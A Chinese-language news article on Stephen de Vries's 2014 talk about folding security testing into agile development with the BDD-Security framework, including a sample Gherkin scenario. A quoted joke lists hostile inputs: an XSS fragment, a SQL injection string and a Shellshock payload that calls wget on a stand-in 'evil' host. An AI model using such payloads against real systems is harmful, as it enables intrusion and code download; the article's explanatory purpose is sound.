ContinuumSecurity創(chuàng)始人Stephen de Vries，在Velocity Europe 2014大會上提出了持續(xù)且可視化的
安全測試的觀點。Stephen表示，那些在
敏捷開發(fā)過程中用于將QA嵌入整個開發(fā)流程的方法和工具都能同樣的用于安全測試。BDD-Security是一個基于JBehave，且遵循Given-When-Then方法的安全測試框架。
傳統(tǒng)的安全測試都遵循瀑布流程，也就是說安全團隊總是在開發(fā)階段的末期才參與進來，并且通常需要外部專家的幫助。在整個開發(fā)流程中，滲透測試總是被安排到很晚才做，使得為應用做安全防范的任務尤其困難且復雜。Stephen認為安全測試完全可以變得像QA一樣：每個人都對安全問題負責；安全問題可以在更接近代碼的層面考慮；安全測試完全可以嵌入一個持續(xù)集成的開發(fā)過程中。
為了論證QA和安全測試只有量的區(qū)別而沒有質(zhì)的區(qū)別，Stephen展示了C. Maartmann-Moe和Bill Sempf分別發(fā)布的推特：
從QA的角度：
QA工程師走進一家酒吧，點了一杯啤酒；點了0杯啤酒；點了999999999杯啤酒；點了一只蜥蜴；點了-1杯啤酒；點了一個sfdeljknesv。
從安全的角度：
滲透測試工程師走進一家酒吧，點了一杯啤酒；點了”>杯啤酒；點了’or 1=1-杯啤酒；點了() { :; }; wget -O /beers http://evil; /杯啤酒。 要將安全測試集成進敏捷開發(fā)流程中，首先需要滿足的條件是：可見性，以便采取及時應對措施并修補；可測試性，以便于自動化，比僅僅簡單的掃描更有價值。Stephen發(fā)現(xiàn)BDD工具族就同時滿足了可見性及可測試性，因此他開始著手構(gòu)建BDD-Security安全測試框架。
由于BDD-Security是基于JBehave構(gòu)建的，因此它使用BDD的標準說明語言Gherkin。一個BDD-Security測試場景如下：
Scenario: Transmit authentication credentials over HTTPS
Meta: @id auth_https
Given the browser is configured to use an intercepting proxy
And the proxy logs are cleared
And the default user logs in with credentials from: users.table
And the HTTP request-response containing the default credentials is inspected
Then the protocol should be HTTPS
BDD-Security用戶故事的編寫與通常做法不太一樣。BDD-Security說明頁面上寫著：
本框架的架構(gòu)設計使得安全用例故事與應用的特定導航邏輯相互獨立，這意味著同一個用戶故事僅需要做微小的改動就能用在多個應用中，有時甚至無需修改。
這也說明BDD-Security框架認為對許多應用來說，有一系列安全需求都是普遍要滿足的。也就是說你只需寫代碼把已有的故事插入你的應用——也就是導航邏輯中即可。當然，必要的時候你也完全可以編寫自己的用戶故事。
BDD-Security依賴于第三方安全測試工具來執(zhí)行具體的安全相關(guān)的行為，例如應用掃描。這些工具有OWASP ZAP或Nessus等。
Stephen還提到其它一些有類似功能的工具。如Zap-WebDriver就是一款更簡單的工具，不喜歡BDD方式的人可以考慮采用它。Gauntlt與BDD-Security框架類似，同樣支持BDD，只是它使用的編程語言是
Ruby。Mittn用
Python編寫并且同樣也使用Gherkin。